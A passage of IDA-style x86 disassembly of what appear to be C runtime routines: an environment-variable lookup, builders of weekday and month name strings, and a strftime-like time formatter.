call sub_4396D0
test eax, eax
jz short loc_4374FD
xor eax, eax
jmp loc_437582
; ---------------------------------------------------------------------------
loc_4374FD: ; CODE XREF: sub_4374C0+34j
mov ecx, ds:dword_4F3314
mov [ebp+var_8], ecx
loc_437506: ; CODE XREF: sub_4374C0+22j
; sub_4374C0+2Bj
cmp [ebp+var_8], 0
jz short loc_437580
cmp [ebp+arg_0], 0
jz short loc_437580
mov edx, [ebp+arg_0]
push edx
call sub_41BC70
add esp, 4
mov [ebp+var_4], eax
loc_437521: ; CODE XREF: sub_4374C0+BEj
mov eax, [ebp+var_8]
cmp dword ptr [eax], 0
jz short loc_437580
mov ecx, [ebp+var_8]
mov edx, [ecx]
push edx
call sub_41BC70
add esp, 4
cmp eax, [ebp+var_4]
jbe short loc_437575
mov eax, [ebp+var_8]
mov ecx, [eax]
mov edx, [ebp+var_4]
movsx eax, byte ptr [ecx+edx]
cmp eax, 3Dh
jnz short loc_437575
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax]
push ecx
call sub_439680
add esp, 0Ch
test eax, eax
jnz short loc_437575
mov edx, [ebp+var_8]
mov eax, [edx]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx+1]
jmp short loc_437582
; ---------------------------------------------------------------------------
loc_437575: ; CODE XREF: sub_4374C0+7Aj
; sub_4374C0+8Bj ...
mov edx, [ebp+var_8]
add edx, 4
mov [ebp+var_8], edx
jmp short loc_437521
; ---------------------------------------------------------------------------
loc_437580: ; CODE XREF: sub_4374C0+4Aj
; sub_4374C0+50j ...
xor eax, eax
loc_437582: ; CODE XREF: sub_4374C0+19j
; sub_4374C0+38j ...
mov esp, ebp
pop ebp
retn
sub_4374C0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov eax, ds:off_454D28
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_4375B8
; ---------------------------------------------------------------------------
loc_4375AF: ; CODE XREF: _0:004375EFj
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_4375B8: ; CODE XREF: _0:004375ADj
cmp dword ptr [ebp-10h], 7
jnb short loc_4375F1
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
call sub_41BC70
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+1Ch]
push ecx
call sub_41BC70
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_4375AF
; ---------------------------------------------------------------------------
loc_4375F1: ; CODE XREF: _0:004375BCj
mov eax, [ebp-8]
add eax, 1
push eax
call sub_41BE40
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_4376A9
mov ecx, [ebp-4]
mov [ebp-14h], ecx
mov dword ptr [ebp-10h], 0
jmp short loc_437625
; ---------------------------------------------------------------------------
loc_43761C: ; CODE XREF: _0:00437698j
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_437625: ; CODE XREF: _0:0043761Aj
cmp dword ptr [ebp-10h], 7
jnb short loc_43769A
mov eax, [ebp-14h]
mov byte ptr [eax], 3Ah
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp-14h]
push edx
call sub_41F620
add esp, 8
push eax
call sub_41BC70
add esp, 4
mov ecx, [ebp-14h]
add ecx, eax
mov [ebp-14h], ecx
mov edx, [ebp-14h]
mov byte ptr [edx], 3Ah
mov eax, [ebp-14h]
add eax, 1
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+1Ch]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41F620
add esp, 8
push eax
call sub_41BC70
add esp, 4
mov edx, [ebp-14h]
add edx, eax
mov [ebp-14h], edx
jmp short loc_43761C
; ---------------------------------------------------------------------------
loc_43769A: ; CODE XREF: _0:00437629j
mov eax, [ebp-14h]
mov byte ptr [eax], 0
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
loc_4376A9: ; CODE XREF: _0:00437607j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov eax, ds:off_454D28
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_4376E8
; ---------------------------------------------------------------------------
loc_4376DF: ; CODE XREF: _0:00437720j
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_4376E8: ; CODE XREF: _0:004376DDj
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_437722
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+38h]
push ecx
call sub_41BC70
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+68h]
push ecx
call sub_41BC70
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_4376DF
; ---------------------------------------------------------------------------
loc_437722: ; CODE XREF: _0:004376ECj
mov eax, [ebp-8]
add eax, 1
push eax
call sub_41BE40
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_4377DB
mov ecx, [ebp-4]
mov [ebp-14h], ecx
mov dword ptr [ebp-10h], 0
jmp short loc_437756
; ---------------------------------------------------------------------------
loc_43774D: ; CODE XREF: _0:004377CAj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_437756: ; CODE XREF: _0:0043774Bj
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_4377CC
mov eax, [ebp-14h]
mov byte ptr [eax], 3Ah
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+38h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_41F620
add esp, 8
push eax
call sub_41BC70
add esp, 4
mov ecx, [ebp-14h]
add ecx, eax
mov [ebp-14h], ecx
mov edx, [ebp-14h]
mov byte ptr [edx], 3Ah
mov eax, [ebp-14h]
add eax, 1
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41F620
add esp, 8
push eax
call sub_41BC70
add esp, 4
mov edx, [ebp-14h]
add edx, eax
mov [ebp-14h], edx
jmp short loc_43774D
; ---------------------------------------------------------------------------
loc_4377CC: ; CODE XREF: _0:0043775Aj
mov eax, [ebp-14h]
mov byte ptr [eax], 0
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
loc_4377DB: ; CODE XREF: _0:00437738j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, ds:off_454D28
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_437818
; ---------------------------------------------------------------------------
loc_43780F: ; CODE XREF: _0:0043784Fj
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_437818: ; CODE XREF: _0:0043780Dj
cmp dword ptr [ebp-10h], 7
jnb short loc_437851
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
call sub_41BC70
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+1Ch]
push ecx
call sub_41BC70
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_43780F
; ---------------------------------------------------------------------------
loc_437851: ; CODE XREF: _0:0043781Cj
mov dword ptr [ebp-10h], 0
jmp short loc_437863
; ---------------------------------------------------------------------------
loc_43785A: ; CODE XREF: _0:0043789Bj
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_437863: ; CODE XREF: _0:00437858j
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_43789D
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+38h]
push eax
call sub_41BC70
add esp, 4
mov esi, eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
call sub_41BC70
add esp, 4
add eax, [ebp-8]
lea ecx, [eax+esi+2]
mov [ebp-8], ecx
jmp short loc_43785A
; ---------------------------------------------------------------------------
loc_43789D: ; CODE XREF: _0:00437867j
mov edx, [ebp-0Ch]
mov eax, [edx+98h]
push eax
call sub_41BC70
add esp, 4
mov esi, eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+9Ch]
push edx
call sub_41BC70
add esp, 4
add eax, [ebp-8]
lea eax, [eax+esi+2]
mov [ebp-8], eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+0A0h]
push edx
call sub_41BC70
add esp, 4
mov ecx, [ebp-8]
lea edx, [ecx+eax+1]
mov [ebp-8], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+0A4h]
push ecx
call sub_41BC70
add esp, 4
mov edx, [ebp-8]
lea eax, [edx+eax+1]
mov [ebp-8], eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+0A8h]
push edx
call sub_41BC70
add esp, 4
mov ecx, [ebp-8]
lea edx, [ecx+eax+1]
mov [ebp-8], edx
mov eax, [ebp-8]
add eax, 0ACh
push eax
call sub_41BE40
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_437B56
mov ecx, [ebp-4]
mov [ebp-18h], ecx
mov edx, [ebp-4]
add edx, 0ACh
mov [ebp-14h], edx
push 0ACh
mov eax, ds:off_454D28
push eax
mov ecx, [ebp-4]
push ecx
call sub_41FBF0
add esp, 0Ch
mov dword ptr [ebp-10h], 0
jmp short loc_43797A
; ---------------------------------------------------------------------------
loc_437971: ; CODE XREF: _0:004379ECj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_43797A: ; CODE XREF: _0:0043796Fj
cmp dword ptr [ebp-10h], 7
jnb short loc_4379EE
mov eax, [ebp-10h]
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+eax*4], edx
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ecx+eax*4]
push edx
mov eax, [ebp-14h]
push eax
call sub_41F620
add esp, 8
push eax
call sub_41BC70
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-10h]
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+eax*4+1Ch], edx
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ecx+eax*4+1Ch]
push edx
mov eax, [ebp-14h]
push eax
call sub_41F620
add esp, 8
push eax
call sub_41BC70
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
jmp short loc_437971
; ---------------------------------------------------------------------------
loc_4379EE: ; CODE XREF: _0:0043797Ej
mov dword ptr [ebp-10h], 0
jmp short loc_437A00
; ---------------------------------------------------------------------------
loc_4379F7: ; CODE XREF: _0:00437A74j
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_437A00: ; CODE XREF: _0:004379F5j
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_437A76
mov ecx, [ebp-10h]
mov edx, [ebp-18h]
mov eax, [ebp-14h]
mov [edx+ecx*4+38h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+38h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41F620
add esp, 8
push eax
call sub_41BC70
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-18h]
mov eax, [ebp-14h]
mov [edx+ecx*4+68h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41F620
add esp, 8
push eax
call sub_41BC70
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
jmp short loc_4379F7
; ---------------------------------------------------------------------------
loc_437A76: ; CODE XREF: _0:00437A04j
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+98h], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+98h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_41F620
add esp, 8
push eax
call sub_41BC70
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-18h]
mov ecx, [ebp-14h]
mov [eax+9Ch], ecx
mov edx, [ebp-0Ch]
mov eax, [edx+9Ch]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41F620
add esp, 8
push eax
call sub_41BC70
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+0A0h], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+0A0h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_41F620
add esp, 8
push eax
call sub_41BC70
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-18h]
mov ecx, [ebp-14h]
mov [eax+0A4h], ecx
mov edx, [ebp-0Ch]
mov eax, [edx+0A4h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41F620
add esp, 8
push eax
call sub_41BC70
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+0A8h], edx
loc_437B56: ; CODE XREF: _0:00437939j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_437B80
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437B80 proc near ; CODE XREF: _0:00437B75p
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
push offset dword_4F37C8
call ds:dword_4F5488 ; InterlockedIncrement
cmp ds:dword_4F37C4, 0
jz short loc_437BBE
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
push 13h
call sub_423280
add esp, 4
mov [ebp+var_8], 1
jmp short loc_437BC5
; ---------------------------------------------------------------------------
loc_437BBE: ; CODE XREF: sub_437B80+1Ej
mov [ebp+var_8], 0
loc_437BC5: ; CODE XREF: sub_437B80+3Cj
cmp [ebp+arg_10], 0
jnz short loc_437BD6
mov ecx, ds:off_454D28
mov [ebp+var_10], ecx
jmp short loc_437BDC
; ---------------------------------------------------------------------------
loc_437BD6: ; CODE XREF: sub_437B80+49j
mov edx, [ebp+arg_10]
mov [ebp+var_10], edx
loc_437BDC: ; CODE XREF: sub_437B80+54j
mov eax, [ebp+var_10]
mov [ebp+var_4], eax
loc_437BE2: ; CODE XREF: sub_437B80:loc_437CCEj
cmp [ebp+var_C], 0
jbe loc_437CD3
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [ebp+var_14], dl
cmp [ebp+var_14], 0
jz short loc_437C02
cmp [ebp+var_14], 25h
jz short loc_437C07
jmp short loc_437C61
; ---------------------------------------------------------------------------
loc_437C02: ; CODE XREF: sub_437B80+78j
jmp loc_437CD3
; ---------------------------------------------------------------------------
loc_437C07: ; CODE XREF: sub_437B80+7Ej
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
mov ds:dword_4F36A0, 0
mov ecx, [ebp+arg_8]
movsx edx, byte ptr [ecx]
cmp edx, 23h
jnz short loc_437C38
mov ds:dword_4F36A0, 1
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_437C38: ; CODE XREF: sub_437B80+A3j
mov ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_C]
push edx
lea eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
mov al, [edx]
push eax
call sub_437D10
add esp, 14h
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
jmp short loc_437CCE
; ---------------------------------------------------------------------------
loc_437C61: ; CODE XREF: sub_437B80+80j
mov edx, [ebp+arg_8]
xor eax, eax
mov al, [edx]
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_437CA9
cmp [ebp+var_C], 1
jbe short loc_437CA9
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_437CA9: ; CODE XREF: sub_437B80+FCj
; sub_437B80+102j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_437CCE: ; CODE XREF: sub_437B80+DFj
jmp loc_437BE2
; ---------------------------------------------------------------------------
loc_437CD3: ; CODE XREF: sub_437B80+66j
; sub_437B80:loc_437C02j
cmp [ebp+var_8], 0
jz short loc_437CE5
push 13h
call sub_423320
add esp, 4
jmp short loc_437CF0
; ---------------------------------------------------------------------------
loc_437CE5: ; CODE XREF: sub_437B80+157j
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
loc_437CF0: ; CODE XREF: sub_437B80+163j
cmp [ebp+var_C], 0
jbe short loc_437D04
mov eax, [ebp+arg_0]
mov byte ptr [eax], 0
mov eax, [ebp+arg_4]
sub eax, [ebp+var_C]
jmp short loc_437D06
; ---------------------------------------------------------------------------
loc_437D04: ; CODE XREF: sub_437B80+174j
xor eax, eax
loc_437D06: ; CODE XREF: sub_437B80+182j
mov esp, ebp
pop ebp
retn
sub_437B80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437D10 proc near ; CODE XREF: sub_437B80+CEp
; sub_4384E0+3ECp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
movsx eax, [ebp+arg_0]
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
sub ecx, 25h
mov [ebp+var_C], ecx
cmp [ebp+var_C], 55h
ja loc_438278
mov eax, [ebp+var_C]
xor edx, edx
mov dl, byte_4382D9[eax]
jmp off_43827D[edx*4]
loc_437D43: ; DATA XREF: _0:004382ADo
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4]
push eax
call sub_438330
add esp, 0Ch
jmp loc_438278
; ---------------------------------------------------------------------------
loc_437D65: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:00438281o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+1Ch]
push eax
call sub_438330
add esp, 0Ch
jmp loc_438278
; ---------------------------------------------------------------------------
loc_437D88: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:004382B1o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+38h]
push eax
call sub_438330
add esp, 0Ch
jmp loc_438278
; ---------------------------------------------------------------------------
loc_437DAB: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:00438285o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+68h]
push eax
call sub_438330
add esp, 0Ch
jmp loc_438278
; ---------------------------------------------------------------------------
loc_437DCE: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:004382B5o
cmp ds:dword_4F36A0, 0
jz short loc_437E56
mov ds:dword_4F36A0, 0
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A4h]
push eax
call sub_4384E0
add esp, 14h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_437E10
jmp loc_438278
; ---------------------------------------------------------------------------
loc_437E10: ; CODE XREF: sub_437D10+F9j
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 20h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A8h]
push eax
call sub_4384E0
add esp, 14h
jmp short loc_437EC9
; ---------------------------------------------------------------------------
loc_437E56: ; CODE XREF: sub_437D10+C5j
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A0h]
push eax
call sub_4384E0
add esp, 14h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_437E85
jmp loc_438278
; ---------------------------------------------------------------------------
loc_437E85: ; CODE XREF: sub_437D10+16Ej
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 20h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A8h]
push eax
call sub_4384E0
add esp, 14h
loc_437EC9: ; CODE XREF: sub_437D10+144j
jmp loc_438278
; ---------------------------------------------------------------------------
loc_437ECE: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:004382B9o
mov ecx, ds:dword_4F36A0
mov ds:dword_4F36A4, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+arg_4]
mov edx, [ecx+0Ch]
push edx
call sub_438380
add esp, 10h
jmp loc_438278
; ---------------------------------------------------------------------------
loc_437EF8: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:00438289o
mov eax, ds:dword_4F36A0
mov ds:dword_4F36A4, eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 2
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
push ecx
call sub_438380
add esp, 10h
jmp loc_438278
; ---------------------------------------------------------------------------
loc_437F20: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:0043828Do
mov edx, ds:dword_4F36A0
mov ds:dword_4F36A4, edx
mov eax, [ebp+arg_4]
mov eax, [eax+8]
cdq
mov ecx, 0Ch
idiv ecx
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
jnz short loc_437F4A
mov [ebp+var_4], 0Ch
loc_437F4A: ; CODE XREF: sub_437D10+231j
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+var_4]
push ecx
call sub_438380
add esp, 10h
jmp loc_438278
; ---------------------------------------------------------------------------
loc_437F65: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:004382BDo
mov edx, ds:dword_4F36A0
mov ds:dword_4F36A4, edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 3
mov edx, [ebp+arg_4]
mov eax, [edx+1Ch]
add eax, 1
push eax
call sub_438380
add esp, 10h
jmp loc_438278
; ---------------------------------------------------------------------------
loc_437F92: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:004382C1o
mov ecx, ds:dword_4F36A0
mov ds:dword_4F36A4, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
add edx, 1
push edx
call sub_438380
add esp, 10h
jmp loc_438278
; ---------------------------------------------------------------------------
loc_437FBF: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:00438291o
mov eax, ds:dword_4F36A0
mov ds:dword_4F36A4, eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 2
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
push ecx
call sub_438380
add esp, 10h
jmp loc_438278
; ---------------------------------------------------------------------------
loc_437FE7: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:004382C5o
mov edx, [ebp+arg_4]
cmp dword ptr [edx+8], 0Bh
jg short loc_43800C
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+98h]
push eax
call sub_438330
add esp, 0Ch
jmp short loc_438026
; ---------------------------------------------------------------------------
loc_43800C: ; CODE XREF: sub_437D10+2DEj
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_10]
mov ecx, [eax+9Ch]
push ecx
call sub_438330
add esp, 0Ch
loc_438026: ; CODE XREF: sub_437D10+2FAj
jmp loc_438278
; ---------------------------------------------------------------------------
loc_43802B: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:00438295o
mov edx, ds:dword_4F36A0
mov ds:dword_4F36A4, edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 2
mov edx, [ebp+arg_4]
mov eax, [edx]
push eax
call sub_438380
add esp, 10h
jmp loc_438278
; ---------------------------------------------------------------------------
loc_438054: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:00438299o
mov ecx, ds:dword_4F36A0
mov ds:dword_4F36A4, ecx
mov edx, [ebp+arg_4]
mov eax, [edx+18h]
mov [ebp+var_8], eax
jmp short loc_4380BD
; ---------------------------------------------------------------------------
loc_43806B: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:004382C9o
mov ecx, ds:dword_4F36A0
mov ds:dword_4F36A4, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 1
mov ecx, [ebp+arg_4]
mov edx, [ecx+18h]
push edx
call sub_438380
add esp, 10h
jmp loc_438278
; ---------------------------------------------------------------------------
loc_438095: ; CODE XREF: sub_437D10+2Cj
; DATA XREF: _0:0043829Do
mov eax, ds:dword_4F36A0
mov ds:dword_4F36A4, eax
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+18h], 0
jnz short loc_4380B1
mov [ebp+var_8], 6
jmp short loc_4380BD
; ---------------------------------------------------------------------------
loc_4380B1: ; CODE XREF: sub_437D10+396j
mov edx, [ebp+arg_4]
mov eax, [edx+18h]
sub eax, 1
mov [ebp+var_8], eax
loc_4380BD: ; CODE XREF: sub_437D10+359j
; sub_437D10+39Fj
mov ecx, [ebp+arg_4]
mov edx, [ecx+1Ch]
cmp edx, [ebp+var_8]
jge short loc_4380D1
mov [ebp+var_4], 0
jmp short loc_4380FE
; ---------------------------------------------------------------------------
loc_4380D1: ; CODE XREF: sub_437D10+3B6j
mov eax, [ebp+arg_4]
mov eax, [eax+1Ch]
cdq
mov ecx, 7
idiv ecx
mov [ebp+var_4], eax
mov edx, [ebp+arg_4]
mov eax, [edx+1Ch]
cdq
mov ecx, 7
idiv ecx
cmp edx, [ebp+var_8]
jl short loc_4380FE
mov edx, [ebp+var_4]
